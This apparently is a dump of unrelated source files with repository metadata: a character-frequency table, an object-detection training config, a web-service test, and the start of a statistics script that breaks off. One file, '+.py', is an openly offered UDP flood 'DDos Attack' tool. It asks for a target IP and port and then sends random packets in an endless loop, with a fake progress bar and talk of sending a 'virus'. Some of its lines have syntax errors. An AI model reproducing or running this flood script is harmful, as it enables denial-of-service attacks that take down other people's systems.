513,5272,1209,2882,3376,3163,4623,1080,5273,5274,5275,5276,2534, # 2336 3722,3604, 815,1587,4033,4034,5277,3605,3486,3856,1254,4624,1328,3058,1390,4035, # 2352 1741,4036,3857,4037,5278, 236,3858,2453,3304,5279,5280,3723,3859,1273,3860,4625, # 2368 5281, 308,5282,4626, 245,4627,1852,2480,1307,2583, 430, 715,2137,2454,5283, 270, # 2384 199,2883,4038,5284,3606,2727,1753, 761,1754, 725,1661,1841,4628,3487,3724,5285, # 2400 5286, 587, 14,3305, 227,2608, 326, 480,2270, 943,2765,3607, 291, 650,1884,5287, # 2416 1702,1226, 102,1547, 62,3488, 904,4629,3489,1164,4294,5288,5289,1224,1548,2766, # 2432 391, 498,1493,5290,1386,1419,5291,2056,1177,4630, 813, 880,1081,2368, 566,1145, # 2448 4631,2291,1001,1035,2566,2609,2242, 394,1286,5292,5293,2069,5294, 86,1494,1730, # 2464 4039, 491,1588, 745, 897,2963, 843,3377,4040,2767,2884,3306,1768, 998,2221,2070, # 2480 397,1827,1195,1970,3725,3011,3378, 284,5295,3861,2507,2138,2120,1904,5296,4041, # 2496 2151,4042,4295,1036,3490,1905, 114,2567,4296, 209,1527,5297,5298,2964,2844,2635, # 2512 2390,2728,3164, 812,2568,5299,3307,5300,1559, 737,1885,3726,1210, 885, 28,2695, # 2528 3608,3862,5301,4297,1004,1780,4632,5302, 346,1982,2222,2696,4633,3863,1742, 797, # 2544 1642,4043,1934,1072,1384,2152, 896,4044,3308,3727,3228,2885,3609,5303,2569,1959, # 2560 4634,2455,1786,5304,5305,5306,4045,4298,1005,1308,3728,4299,2729,4635,4636,1528, # 2576 2610, 161,1178,4300,1983, 987,4637,1101,4301, 631,4046,1157,3229,2425,1343,1241, # 2592 1016,2243,2570, 372, 877,2344,2508,1160, 555,1935, 911,4047,5307, 466,1170, 169, # 2608 1051,2921,2697,3729,2481,3012,1182,2012,2571,1251,2636,5308, 992,2345,3491,1540, # 2624 2730,1201,2071,2406,1997,2482,5309,4638, 528,1923,2191,1503,1874,1570,2369,3379, # 2640 3309,5310, 557,1073,5311,1828,3492,2088,2271,3165,3059,3107, 767,3108,2799,4639, # 2656 1006,4302,4640,2346,1267,2179,3730,3230, 778,4048,3231,2731,1597,2667,5312,4641, # 2672 5313,3493,5314,5315,5316,3310,2698,1433,3311, 131, 95,1504,4049, 723,4303,3166, # 2688 1842,3610,2768,2192,4050,2028,2105,3731,5317,3013,4051,1218,5318,3380,3232,4052, # 2704 4304,2584, 248,1634,3864, 912,5319,2845,3732,3060,3865, 654, 53,5320,3014,5321, # 2720 1688,4642, 777,3494,1032,4053,1425,5322, 191, 820,2121,2846, 971,4643, 931,3233, # 2736 135, 664, 783,3866,1998, 772,2922,1936,4054,3867,4644,2923,3234, 282,2732, 640, # 2752 1372,3495,1127, 922, 325,3381,5323,5324, 711,2045,5325,5326,4055,2223,2800,1937, # 2768 4056,3382,2224,2255,3868,2305,5327,4645,3869,1258,3312,4057,3235,2139,2965,4058, # 2784 4059,5328,2225, 258,3236,4646, 101,1227,5329,3313,1755,5330,1391,3314,5331,2924, # 2800 2057, 893,5332,5333,5334,1402,4305,2347,5335,5336,3237,3611,5337,5338, 878,1325, # 2816 1781,2801,4647, 259,1385,2585, 744,1183,2272,4648,5339,4060,2509,5340, 684,1024, # 2832 4306,5341, 472,3612,3496,1165,3315,4061,4062, 322,2153, 881, 455,1695,1152,1340, # 2848 660, 554,2154,4649,1058,4650,4307, 830,1065,3383,4063,4651,1924,5342,1703,1919, # 2864 5343, 932,2273, 122,5344,4652, 947, 677,5345,3870,2637, 297,1906,1925,2274,4653, # 2880 2322,3316,5346,5347,4308,5348,4309, 84,4310, 112, 989,5349, 547,1059,4064, 701, # 2896 3613,1019,5350,4311,5351,3497, 942, 639, 457,2306,2456, 993,2966, 407, 851, 494, # 2912 4654,3384, 927,5352,1237,5353,2426,3385, 573,4312, 680, 921,2925,1279,1875, 285, # 2928 790,1448,1984, 719,2168,5354,5355,4655,4065,4066,1649,5356,1541, 563,5357,1077, # 2944 5358,3386,3061,3498, 511,3015,4067,4068,3733,4069,1268,2572,3387,3238,4656,4657, # 2960 5359, 535,1048,1276,1189,2926,2029,3167,1438,1373,2847,2967,1134,2013,5360,4313, # 2976 1238,2586,3109,1259,5361, 700,5362,2968,3168,3734,4314,5363,4315,1146,1876,1907, # 2992 4658,2611,4070, 781,2427, 132,1589, 203, 147, 273,2802,2407, 898,1787,2155,4071, # 3008 4072,5364,3871,2803,5365,5366,4659,4660,5367,3239,5368,1635,3872, 965,5369,1805, # 3024 2699,1516,3614,1121,1082,1329,3317,4073,1449,3873, 65,1128,2848,2927,2769,1590, # 3040 3874,5370,5371, 12,2668, 45, 976,2587,3169,4661, 517,2535,1013,1037,3240,5372, # 3056 3875,2849,5373,3876,5374,3499,5375,2612, 614,1999,2323,3877,3110,2733,2638,5376, # 3072 2588,4316, 599,1269,5377,1811,3735,5378,2700,3111, 759,1060, 489,1806,3388,3318, # 3088 1358,5379,5380,2391,1387,1215,2639,2256, 490,5381,5382,4317,1759,2392,2348,5383, # 3104 4662,3878,1908,4074,2640,1807,3241,4663,3500,3319,2770,2349, 874,5384,5385,3501, # 3120 3736,1859, 91,2928,3737,3062,3879,4664,5386,3170,4075,2669,5387,3502,1202,1403, # 3136 3880,2969,2536,1517,2510,4665,3503,2511,5388,4666,5389,2701,1886,1495,1731,4076, # 3152 2370,4667,5390,2030,5391,5392,4077,2702,1216, 237,2589,4318,2324,4078,3881,4668, # 3168 4669,2703,3615,3504, 445,4670,5393,5394,5395,5396,2771, 61,4079,3738,1823,4080, # 3184 5397, 687,2046, 935, 925, 405,2670, 703,1096,1860,2734,4671,4081,1877,1367,2704, # 3200 3389, 918,2106,1782,2483, 334,3320,1611,1093,4672, 564,3171,3505,3739,3390, 945, # 3216 2641,2058,4673,5398,1926, 872,4319,5399,3506,2705,3112, 349,4320,3740,4082,4674, # 3232 3882,4321,3741,2156,4083,4675,4676,4322,4677,2408,2047, 782,4084, 400, 251,4323, # 3248 1624,5400,5401, 277,3742, 299,1265, 476,1191,3883,2122,4324,4325,1109, 205,5402, # 3264 2590,1000,2157,3616,1861,5403,5404,5405,4678,5406,4679,2573, 107,2484,2158,4085, # 3280 3507,3172,5407,1533, 541,1301, 158, 753,4326,2886,3617,5408,1696, 370,1088,4327, # 3296 4680,3618, 579, 327, 440, 162,2244, 269,1938,1374,3508, 968,3063, 56,1396,3113, # 3312 2107,3321,3391,5409,1927,2159,4681,3016,5410,3619,5411,5412,3743,4682,2485,5413, # 3328 2804,5414,1650,4683,5415,2613,5416,5417,4086,2671,3392,1149,3393,4087,3884,4088, # 3344 5418,1076, 49,5419, 951,3242,3322,3323, 450,2850, 920,5420,1812,2805,2371,4328, # 3360 1909,1138,2372,3885,3509,5421,3243,4684,1910,1147,1518,2428,4685,3886,5422,4686, # 3376 2393,2614, 260,1796,3244,5423,5424,3887,3324, 708,5425,3620,1704,5426,3621,1351, # 3392 1618,3394,3017,1887, 944,4329,3395,4330,3064,3396,4331,5427,3744, 422, 413,1714, # 3408 3325, 500,2059,2350,4332,2486,5428,1344,1911, 954,5429,1668,5430,5431,4089,2409, # 3424 4333,3622,3888,4334,5432,2307,1318,2512,3114, 133,3115,2887,4687, 629, 31,2851, # 3440 2706,3889,4688, 850, 949,4689,4090,2970,1732,2089,4335,1496,1853,5433,4091, 620, # 3456 3245, 981,1242,3745,3397,1619,3746,1643,3326,2140,2457,1971,1719,3510,2169,5434, # 3472 3246,5435,5436,3398,1829,5437,1277,4690,1565,2048,5438,1636,3623,3116,5439, 869, # 3488 2852, 655,3890,3891,3117,4092,3018,3892,1310,3624,4691,5440,5441,5442,1733, 558, # 3504 4692,3747, 335,1549,3065,1756,4336,3748,1946,3511,1830,1291,1192, 470,2735,2108, # 3520 2806, 913,1054,4093,5443,1027,5444,3066,4094,4693, 982,2672,3399,3173,3512,3247, # 3536 3248,1947,2807,5445, 571,4694,5446,1831,5447,3625,2591,1523,2429,5448,2090, 984, # 3552 4695,3749,1960,5449,3750, 852, 923,2808,3513,3751, 969,1519, 999,2049,2325,1705, # 3568 5450,3118, 615,1662, 151, 597,4095,2410,2326,1049, 275,4696,3752,4337, 568,3753, # 3584 3626,2487,4338,3754,5451,2430,2275, 409,3249,5452,1566,2888,3514,1002, 769,2853, # 3600 194,2091,3174,3755,2226,3327,4339, 628,1505,5453,5454,1763,2180,3019,4096, 521, # 3616 1161,2592,1788,2206,2411,4697,4097,1625,4340,4341, 412, 42,3119, 464,5455,2642, # 3632 4698,3400,1760,1571,2889,3515,2537,1219,2207,3893,2643,2141,2373,4699,4700,3328, # 3648 1651,3401,3627,5456,5457,3628,2488,3516,5458,3756,5459,5460,2276,2092, 460,5461, # 3664 4701,5462,3020, 962, 588,3629, 289,3250,2644,1116, 52,5463,3067,1797,5464,5465, # 3680 5466,1467,5467,1598,1143,3757,4342,1985,1734,1067,4702,1280,3402, 465,4703,1572, # 3696 510,5468,1928,2245,1813,1644,3630,5469,4704,3758,5470,5471,2673,1573,1534,5472, # 3712 5473, 536,1808,1761,3517,3894,3175,2645,5474,5475,5476,4705,3518,2929,1912,2809, # 3728 5477,3329,1122, 377,3251,5478, 360,5479,5480,4343,1529, 551,5481,2060,3759,1769, # 3744 2431,5482,2930,4344,3330,3120,2327,2109,2031,4706,1404, 136,1468,1479, 672,1171, # 3760 3252,2308, 271,3176,5483,2772,5484,2050, 678,2736, 865,1948,4707,5485,2014,4098, # 3776 2971,5486,2737,2227,1397,3068,3760,4708,4709,1735,2931,3403,3631,5487,3895, 509, # 3792 2854,2458,2890,3896,5488,5489,3177,3178,4710,4345,2538,4711,2309,1166,1010, 552, # 3808 681,1888,5490,5491,2972,2973,4099,1287,1596,1862,3179, 358, 453, 736, 175, 478, # 3824 1117, 905,1167,1097,5492,1854,1530,5493,1706,5494,2181,3519,2292,3761,3520,3632, # 3840 4346,2093,4347,5495,3404,1193,2489,4348,1458,2193,2208,1863,1889,1421,3331,2932, # 3856 3069,2182,3521, 595,2123,5496,4100,5497,5498,4349,1707,2646, 223,3762,1359, 751, # 3872 3121, 183,3522,5499,2810,3021, 419,2374, 633, 704,3897,2394, 241,5500,5501,5502, # 3888 838,3022,3763,2277,2773,2459,3898,1939,2051,4101,1309,3122,2246,1181,5503,1136, # 3904 2209,3899,2375,1446,4350,2310,4712,5504,5505,4351,1055,2615, 484,3764,5506,4102, # 3920 625,4352,2278,3405,1499,4353,4103,5507,4104,4354,3253,2279,2280,3523,5508,5509, # 3936 2774, 808,2616,3765,3406,4105,4355,3123,2539, 526,3407,3900,4356, 955,5510,1620, # 3952 4357,2647,2432,5511,1429,3766,1669,1832, 994, 928,5512,3633,1260,5513,5514,5515, # 3968 1949,2293, 741,2933,1626,4358,2738,2460, 867,1184, 362,3408,1392,5516,5517,4106, # 3984 4359,1770,1736,3254,2934,4713,4714,1929,2707,1459,1158,5518,3070,3409,2891,1292, # 4000 1930,2513,2855,3767,1986,1187,2072,2015,2617,4360,5519,2574,2514,2170,3768,2490, # 4016 3332,5520,3769,4715,5521,5522, 666,1003,3023,1022,3634,4361,5523,4716,1814,2257, # 4032 574,3901,1603, 295,1535, 705,3902,4362, 283, 858, 417,5524,5525,3255,4717,4718, # 4048 3071,1220,1890,1046,2281,2461,4107,1393,1599, 689,2575, 388,4363,5526,2491, 802, # 4064 5527,2811,3903,2061,1405,2258,5528,4719,3904,2110,1052,1345,3256,1585,5529, 809, # 4080 5530,5531,5532, 575,2739,3524, 956,1552,1469,1144,2328,5533,2329,1560,2462,3635, # 4096 3257,4108, 616,2210,4364,3180,2183,2294,5534,1833,5535,3525,4720,5536,1319,3770, # 4112 3771,1211,3636,1023,3258,1293,2812,5537,5538,5539,3905, 607,2311,3906, 762,2892, # 4128 1439,4365,1360,4721,1485,3072,5540,4722,1038,4366,1450,2062,2648,4367,1379,4723, # 4144 2593,5541,5542,4368,1352,1414,2330,2935,1172,5543,5544,3907,3908,4724,1798,1451, # 4160 5545,5546,5547,5548,2936,4109,4110,2492,2351, 411,4111,4112,3637,3333,3124,4725, # 4176 1561,2674,1452,4113,1375,5549,5550, 47,2974, 316,5551,1406,1591,2937,3181,5552, # 4192 1025,2142,3125,3182, 354,2740, 884,2228,4369,2412, 508,3772, 726,3638, 996,2433, # 4208 3639, 729,5553, 392,2194,1453,4114,4726,3773,5554,5555,2463,3640,2618,1675,2813, # 4224 919,2352,2975,2353,1270,4727,4115, 73,5556,5557, 647,5558,3259,2856,2259,1550, # 4240 1346,3024,5559,1332, 883,3526,5560,5561,5562,5563,3334,2775,5564,1212, 831,1347, # 4256 4370,4728,2331,3909,1864,3073, 720,3910,4729,4730,3911,5565,4371,5566,5567,4731, # 4272 5568,5569,1799,4732,3774,2619,4733,3641,1645,2376,4734,5570,2938, 669,2211,2675, # 4288 2434,5571,2893,5572,5573,1028,3260,5574,4372,2413,5575,2260,1353,5576,5577,4735, # 4304 3183, 518,5578,4116,5579,4373,1961,5580,2143,4374,5581,5582,3025,2354,2355,3912, # 4320 516,1834,1454,4117,2708,4375,4736,2229,2620,1972,1129,3642,5583,2776,5584,2976, # 4336 1422, 577,1470,3026,1524,3410,5585,5586, 432,4376,3074,3527,5587,2594,1455,2515, # 4352 2230,1973,1175,5588,1020,2741,4118,3528,4737,5589,2742,5590,1743,1361,3075,3529, # 4368 2649,4119,4377,4738,2295, 895, 924,4378,2171, 331,2247,3076, 166,1627,3077,1098, # 4384 5591,1232,2894,2231,3411,4739, 657, 403,1196,2377, 542,3775,3412,1600,4379,3530, # 4400 5592,4740,2777,3261, 576, 530,1362,4741,4742,2540,2676,3776,4120,5593, 842,3913, # 4416 5594,2814,2032,1014,4121, 213,2709,3413, 665, 621,4380,5595,3777,2939,2435,5596, # 4432 2436,3335,3643,3414,4743,4381,2541,4382,4744,3644,1682,4383,3531,1380,5597, 724, # 4448 2282, 600,1670,5598,1337,1233,4745,3126,2248,5599,1621,4746,5600, 651,4384,5601, # 4464 1612,4385,2621,5602,2857,5603,2743,2312,3078,5604, 716,2464,3079, 174,1255,2710, # 4480 4122,3645, 548,1320,1398, 728,4123,1574,5605,1891,1197,3080,4124,5606,3081,3082, # 4496 3778,3646,3779, 747,5607, 635,4386,4747,5608,5609,5610,4387,5611,5612,4748,5613, # 4512 3415,4749,2437, 451,5614,3780,2542,2073,4388,2744,4389,4125,5615,1764,4750,5616, # 4528 4390, 350,4751,2283,2395,2493,5617,4391,4126,2249,1434,4127, 488,4752, 458,4392, # 4544 4128,3781, 771,1330,2396,3914,2576,3184,2160,2414,1553,2677,3185,4393,5618,2494, # 4560 2895,2622,1720,2711,4394,3416,4753,5619,2543,4395,5620,3262,4396,2778,5621,2016, # 4576 2745,5622,1155,1017,3782,3915,5623,3336,2313, 201,1865,4397,1430,5624,4129,5625, # 4592 5626,5627,5628,5629,4398,1604,5630, 414,1866, 371,2595,4754,4755,3532,2017,3127, # 4608 4756,1708, 960,4399, 887, 389,2172,1536,1663,1721,5631,2232,4130,2356,2940,1580, # 4624 5632,5633,1744,4757,2544,4758,4759,5634,4760,5635,2074,5636,4761,3647,3417,2896, # 4640 4400,5637,4401,2650,3418,2815, 673,2712,2465, 709,3533,4131,3648,4402,5638,1148, # 4656 502, 634,5639,5640,1204,4762,3649,1575,4763,2623,3783,5641,3784,3128, 948,3263, # 4672 121,1745,3916,1110,5642,4403,3083,2516,3027,4132,3785,1151,1771,3917,1488,4133, # 4688 1987,5643,2438,3534,5644,5645,2094,5646,4404,3918,1213,1407,2816, 531,2746,2545, # 4704 3264,1011,1537,4764,2779,4405,3129,1061,5647,3786,3787,1867,2897,5648,2018, 120, # 4720 4406,4407,2063,3650,3265,2314,3919,2678,3419,1955,4765,4134,5649,3535,1047,2713, # 4736 1266,5650,1368,4766,2858, 649,3420,3920,2546,2747,1102,2859,2679,5651,5652,2000, # 4752 5653,1111,3651,2977,5654,2495,3921,3652,2817,1855,3421,3788,5655,5656,3422,2415, # 4768 2898,3337,3266,3653,5657,2577,5658,3654,2818,4135,1460, 856,5659,3655,5660,2899, # 4784 2978,5661,2900,3922,5662,4408, 632,2517, 875,3923,1697,3924,2296,5663,5664,4767, # 4800 3028,1239, 580,4768,4409,5665, 914, 936,2075,1190,4136,1039,2124,5666,5667,5668, # 4816 5669,3423,1473,5670,1354,4410,3925,4769,2173,3084,4137, 915,3338,4411,4412,3339, # 4832 1605,1835,5671,2748, 398,3656,4413,3926,4138, 328,1913,2860,4139,3927,1331,4414, # 4848 3029, 937,4415,5672,3657,4140,4141,3424,2161,4770,3425, 524, 742, 538,3085,1012, # 4864 5673,5674,3928,2466,5675, 658,1103, 225,3929,5676,5677,4771,5678,4772,5679,3267, # 4880 1243,5680,4142, 963,2250,4773,5681,2714,3658,3186,5682,5683,2596,2332,5684,4774, # 4896 5685,5686,5687,3536, 957,3426,2547,2033,1931,2941,2467, 870,2019,3659,1746,2780, # 4912 2781,2439,2468,5688,3930,5689,3789,3130,3790,3537,3427,3791,5690,1179,3086,5691, # 4928 3187,2378,4416,3792,2548,3188,3131,2749,4143,5692,3428,1556,2549,2297, 977,2901, # 4944 2034,4144,1205,3429,5693,1765,3430,3189,2125,1271, 714,1689,4775,3538,5694,2333, # 4960 3931, 533,4417,3660,2184, 617,5695,2469,3340,3539,2315,5696,5697,3190,5698,5699, # 4976 3932,1988, 618, 427,2651,3540,3431,5700,5701,1244,1690,5702,2819,4418,4776,5703, # 4992 3541,4777,5704,2284,1576, 473,3661,4419,3432, 972,5705,3662,5706,3087,5707,5708, # 5008 4778,4779,5709,3793,4145,4146,5710, 153,4780, 356,5711,1892,2902,4420,2144, 408, # 5024 803,2357,5712,3933,5713,4421,1646,2578,2518,4781,4782,3934,5714,3935,4422,5715, # 5040 2416,3433, 752,5716,5717,1962,3341,2979,5718, 746,3030,2470,4783,4423,3794, 698, # 5056 4784,1893,4424,3663,2550,4785,3664,3936,5719,3191,3434,5720,1824,1302,4147,2715, # 5072 3937,1974,4425,5721,4426,3192, 823,1303,1288,1236,2861,3542,4148,3435, 774,3938, # 5088 5722,1581,4786,1304,2862,3939,4787,5723,2440,2162,1083,3268,4427,4149,4428, 344, # 5104 1173, 288,2316, 454,1683,5724,5725,1461,4788,4150,2597,5726,5727,4789, 985, 894, # 5120 5728,3436,3193,5729,1914,2942,3795,1989,5730,2111,1975,5731,4151,5732,2579,1194, # 5136 425,5733,4790,3194,1245,3796,4429,5734,5735,2863,5736, 636,4791,1856,3940, 760, # 5152 1800,5737,4430,2212,1508,4792,4152,1894,1684,2298,5738,5739,4793,4431,4432,2213, # 5168 479,5740,5741, 832,5742,4153,2496,5743,2980,2497,3797, 990,3132, 627,1815,2652, # 5184 4433,1582,4434,2126,2112,3543,4794,5744, 799,4435,3195,5745,4795,2113,1737,3031, # 5200 1018, 543, 754,4436,3342,1676,4796,4797,4154,4798,1489,5746,3544,5747,2624,2903, # 5216 4155,5748,5749,2981,5750,5751,5752,5753,3196,4799,4800,2185,1722,5754,3269,3270, # 5232 1843,3665,1715, 481, 365,1976,1857,5755,5756,1963,2498,4801,5757,2127,3666,3271, # 5248 433,1895,2064,2076,5758, 602,2750,5759,5760,5761,5762,5763,3032,1628,3437,5764, # 5264 3197,4802,4156,2904,4803,2519,5765,2551,2782,5766,5767,5768,3343,4804,2905,5769, # 5280 4805,5770,2864,4806,4807,1221,2982,4157,2520,5771,5772,5773,1868,1990,5774,5775, # 5296 5776,1896,5777,5778,4808,1897,4158, 318,5779,2095,4159,4437,5780,5781, 485,5782, # 5312 938,3941, 553,2680, 116,5783,3942,3667,5784,3545,2681,2783,3438,3344,2820,5785, # 5328 3668,2943,4160,1747,2944,2983,5786,5787, 207,5788,4809,5789,4810,2521,5790,3033, # 5344 890,3669,3943,5791,1878,3798,3439,5792,2186,2358,3440,1652,5793,5794,5795, 941, # 5360 2299, 208,3546,4161,2020, 330,4438,3944,2906,2499,3799,4439,4811,5796,5797,5798, # 5376 )

83.663014

245

0.732816

ace8bfa066a9c6f4f65febf6dd966ee867db460a

3,123

py

Python

configs/eftnet/T2_eft53_hmctrd27_whratio03_v1l_2lr_wd3e4_s123_nos_2x.py

mrsempress/mmdetection

cb650560c97a2fe56a9b369a1abc8ec17e06583a

[ "Apache-2.0" ]

null

configs/eftnet/T2_eft53_hmctrd27_whratio03_v1l_2lr_wd3e4_s123_nos_2x.py

mrsempress/mmdetection

cb650560c97a2fe56a9b369a1abc8ec17e06583a

[ "Apache-2.0" ]

null

configs/eftnet/T2_eft53_hmctrd27_whratio03_v1l_2lr_wd3e4_s123_nos_2x.py

mrsempress/mmdetection

cb650560c97a2fe56a9b369a1abc8ec17e06583a

[ "Apache-2.0" ]

null

# model settings model = dict( type='CenterNet', pretrained='./pretrain/darknet53.pth', backbone=dict( type='DarknetV3', layers=[1, 2, 8, 8, 4], inplanes=[3, 32, 64, 128, 256, 512], planes=[32, 64, 128, 256, 512, 1024], norm_cfg=dict(type='BN'), out_indices=(1, 2, 3, 4), frozen_stages=1, norm_eval=False), neck=dict(type='None'), bbox_head=dict( type='CXTHead', inplanes=(128, 256, 512, 1024), head_conv=128, wh_conv=64, use_deconv=False, norm_after_upsample=False, hm_head_conv_num=2, wh_head_conv_num=2, ct_head_conv_num=1, fovea_hm=False, num_classes=81, use_exp_wh=False, wh_offset_base=16, wh_agnostic=True, shortcut_cfg=(1, 2, 3), shortcut_attention=(False, False, False), norm_cfg=dict(type='BN'), norm_wh=False, avg_wh_weightv3=False, hm_center_ratio=0.27, center_ratio=0.3, hm_init_value=None, giou_weight=5., merge_weight=1., hm_weight=1., ct_weight=1.)) cudnn_benchmark = True # training and testing settings train_cfg = dict( vis_every_n_iters=100, debug=False) test_cfg = dict( score_thr=0.01, max_per_img=100) # dataset settings dataset_type = 'CocoDataset' data_root = 'data/coco/' img_norm_cfg = dict( mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_rgb=True) data = dict( imgs_per_gpu=12, workers_per_gpu=4, train=dict( type=dataset_type, ann_file=data_root + 'annotations/instances_train2017.json', img_prefix=data_root + 'train2017/', pipeline=train_pipeline), val=dict( type=dataset_type, ann_file=data_root + 'annotations/instances_val2017.json', img_prefix=data_root + 'val2017/', pipeline=test_pipeline), test=dict( type=dataset_type, ann_file=data_root + 'annotations/instances_val2017.json', img_prefix=data_root + 'val2017/', pipeline=test_pipeline)) # optimizer optimizer = dict(type='SGD', lr=0.002, momentum=0.9, weight_decay=0.0003, paramwise_options=dict(bias_lr_mult=2., bias_decay_mult=0.)) optimizer_config = dict(grad_clip=dict(max_norm=35, norm_type=2)) # learning policy lr_config = dict( policy='step', warmup='linear', warmup_iters=500, warmup_ratio=1.0 / 5, step=[18, 22]) checkpoint_config = dict(save_every_n_steps=200, max_to_keep=1, keep_every_n_epochs=18) bbox_head_hist_config = dict( model_type=['ConvModule', 'DeformConvPack'], sub_modules=['bbox_head'], save_every_n_steps=200) # yapf:disable log_config = dict(interval=20) # yapf:enable # runtime settings total_epochs = 24 dist_params = dict(backend='nccl') log_level = 'INFO' work_dir = 'eft53_htct027_whratio3_v1l_2lr_wd3e4_s123_nos_2x' load_from = None resume_from = 'work_dirs/1908/0805_T2_eft53_V1L_HMCR027_RATIO3_2LR_AGN_1X/eft53_htct027_whratio3_v1l_2lr_wd3e4_s123_nos_1x_0806_0546/epoch_9.pth' workflow = [('train', 1)]

31.23

145

0.65578

ace8c14e43df670a0df81bcbd48e0000707bd935

2,918

py

Python

test/service/test_repository_projects.py

NoopDog/azul

37614eff627888065c7b0a277b3137b8a587ed51

[ "Apache-2.0" ]

null

test/service/test_repository_projects.py

NoopDog/azul

37614eff627888065c7b0a277b3137b8a587ed51

[ "Apache-2.0" ]

null

test/service/test_repository_projects.py

NoopDog/azul

37614eff627888065c7b0a277b3137b8a587ed51

[ "Apache-2.0" ]

null

from more_itertools import ( one, ) import requests from azul.logging import ( configure_test_logging, ) from service import ( WebServiceTestCase, ) # noinspection PyPep8Naming def setUpModule(): configure_test_logging() class RepositoryProjectsEndpointTest(WebServiceTestCase): # Set a seed so that we can test the detail response with a stable project ID seed = 123 @classmethod def setUpClass(cls): super().setUpClass() cls._setup_indices() @classmethod def tearDownClass(cls): cls._teardown_indices() super().tearDownClass() def test_projects_response(self): """ Verify some basic properties of the /index/projects response and that each hit in the response is equal to the single hit response of a a request for one project (eg. /index/projects/{uuid}) """ def get_response_json(uuid=None): url = f'{self.base_url}/index/projects/{uuid if uuid else ""}' response = requests.get(url, params=dict(catalog=self.catalog)) response.raise_for_status() return response.json() def assert_file_type_summaries(hit): self.assertEqual(len(hit['fileTypeSummaries']), 1) self.assertIn('fileType', hit['fileTypeSummaries'][0]) self.assertGreater(hit['fileTypeSummaries'][0]['count'], 0) self.assertGreater(hit['fileTypeSummaries'][0]['totalSize'], 0) hit_properties = { 'protocols', 'entryId', 'projects', 'samples', 'specimens', 'cellLines', 'donorOrganisms', 'organoids', 'cellSuspensions', 'fileTypeSummaries' } projects_properties = { 'projectTitle', 'projectShortname', 'laboratory', 'projectDescription', 'contributors', 'publications', 'arrayExpressAccessions', 'geoSeriesAccessions', 'insdcProjectAccessions', 'insdcStudyAccessions', 'supplementaryLinks', 'matrices', 'contributorMatrices' } response_json = get_response_json() self.assertIn('hits', response_json) self.assertGreater(len(response_json['hits']), 0) for hit in response_json['hits']: self.assertEqual(hit_properties, set(hit.keys())) self.assertEqual(projects_properties, set(one(hit['projects']).keys())) assert_file_type_summaries(hit) self.assertNotIn('projectSummary', hit) self.assertNotIn('files', hit) single_hit = get_response_json(hit['entryId']) self.assertEqual(hit, single_hit) self.assertIn('pagination', response_json) self.assertIn('termFacets', response_json)

31.717391

83

0.600411

ace8c3a046cae9e44527b0db2ebf2d3babfe1fe8

1,255

py

Python

+.py

ArthurAstronot/Delete

41a1bc5b98e483f32a1e617004751429bd786a51

[ "BSL-1.0" ]

1

2021-12-05T14:25:56.000Z

+.py

ArthurAstronot/Delete

41a1bc5b98e483f32a1e617004751429bd786a51

[ "BSL-1.0" ]

null

+.py

ArthurAstronot/Delete

41a1bc5b98e483f32a1e617004751429bd786a51

[ "BSL-1.0" ]

null

import sys import os import time import socket import random ############## sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) bytes = random._urandom(1200) ############## os.system("clear") os.system("figlet DDos Attack") print ("Author : PheXcReY-Galaxy") print ("You Tube : https://www.youtube.com/c/PheXcReY-Galaxy") print ("github : https://github.com/PheXcReY") print ("Facebook : https://www.facebook.com/ArthurXzz") ip = str(input("IP Target : ") port = int(input("Port Target : ") choice = str(input("Sudah Menyiapkan Virus?(y/n) : ") times = int(input("Masukan Jumlah Paket Virus : ") threads = int(input("Masukan Jumlah Kecepatan Virus : ") os.system("clear") os.system("figlet Attack Starting") print ("[ ] 0% ") time.sleep(5) print ("[====== ] 25%") time.sleep(5) print ("[========== ] 50%") time.sleep(5) print ("[=============== ] 75%") time.sleep(5) print ("[====================] 100%") time.sleep(3) sent = 0 while True: sock.sendto(bytes, (ip,port)) sent = sent + 1 port = port + 1 print(" ============== Mengirim Virus Corona Ke Target Dan Memberikan Permen Lolipop ============ ") sock.sendto(bytes, (ip,port)) if port == 65534: port = 1

27.282609

105

0.58008

ace8c620cb8a5b1abdc6b6e4c94487ecdaa10a70

6,552

py

Python

scripts/wilcoxon_significance.py

suleymanov/chemprop

9d21f8810f22794a377a255e3f1f591c93c307dc

[ "MIT" ]

3

2021-11-03T00:46:20.000Z

2022-01-04T17:50:50.000Z

scripts/wilcoxon_significance.py

suleymanov/chemprop

9d21f8810f22794a377a255e3f1f591c93c307dc

[ "MIT" ]

1

2020-08-12T05:38:38.000Z

scripts/wilcoxon_significance.py

suleymanov/chemprop

9d21f8810f22794a377a255e3f1f591c93c307dc

[ "MIT" ]

2

2021-01-23T04:59:14.000Z

2021-06-03T20:44:08.000Z

from collections import OrderedDict, namedtuple import os from typing import List, Optional, Tuple from typing_extensions import Literal import numpy as np from scipy.stats import wilcoxon from tqdm import tqdm from tap import Tap # pip install typed-argument-parser (https://github.com/swansonk14/typed-argument-parser) from chemprop.train.evaluate import evaluate_predictions from chemprop.utils import mean_absolute_error, rmse, roc_auc_score, prc_auc FAKE_LOGGER = namedtuple('FakeLogger', ['info'])(info=lambda x: None) DATASETS = OrderedDict() DATASETS['qm7'] = {'metric': mean_absolute_error, 'type': 'regression'} DATASETS['qm8'] = {'metric': mean_absolute_error, 'type': 'regression'} DATASETS['qm9'] = {'metric': mean_absolute_error, 'type': 'regression'} DATASETS['delaney'] = {'metric': rmse, 'type': 'regression'} DATASETS['freesolv'] = {'metric': rmse, 'type': 'regression'} DATASETS['lipo'] = {'metric': rmse, 'type': 'regression'} DATASETS['pdbbind_full'] = {'metric': rmse, 'type': 'regression'} DATASETS['pdbbind_core'] = {'metric': rmse, 'type': 'regression'} DATASETS['pdbbind_refined'] = {'metric': rmse, 'type': 'regression'} DATASETS['pcba'] = {'metric': prc_auc, 'type': 'classification'} DATASETS['muv'] = {'metric': prc_auc, 'type': 'classification'} DATASETS['hiv'] = {'metric': roc_auc_score, 'type': 'classification'} DATASETS['bace'] = {'metric': roc_auc_score, 'type': 'classification'} DATASETS['bbbp'] = {'metric': roc_auc_score, 'type': 'classification'} DATASETS['tox21'] = {'metric': roc_auc_score, 'type': 'classification'} DATASETS['toxcast'] = {'metric': roc_auc_score, 'type': 'classification'} DATASETS['sider'] = {'metric': roc_auc_score, 'type': 'classification'} DATASETS['clintox'] = {'metric': roc_auc_score, 'type': 'classification'} DATASETS['chembl'] = {'metric': roc_auc_score, 'type': 'classification'} # test if 1 is better than 2 (less error, higher auc) COMPARISONS = [ ('default', 'random_forest'), 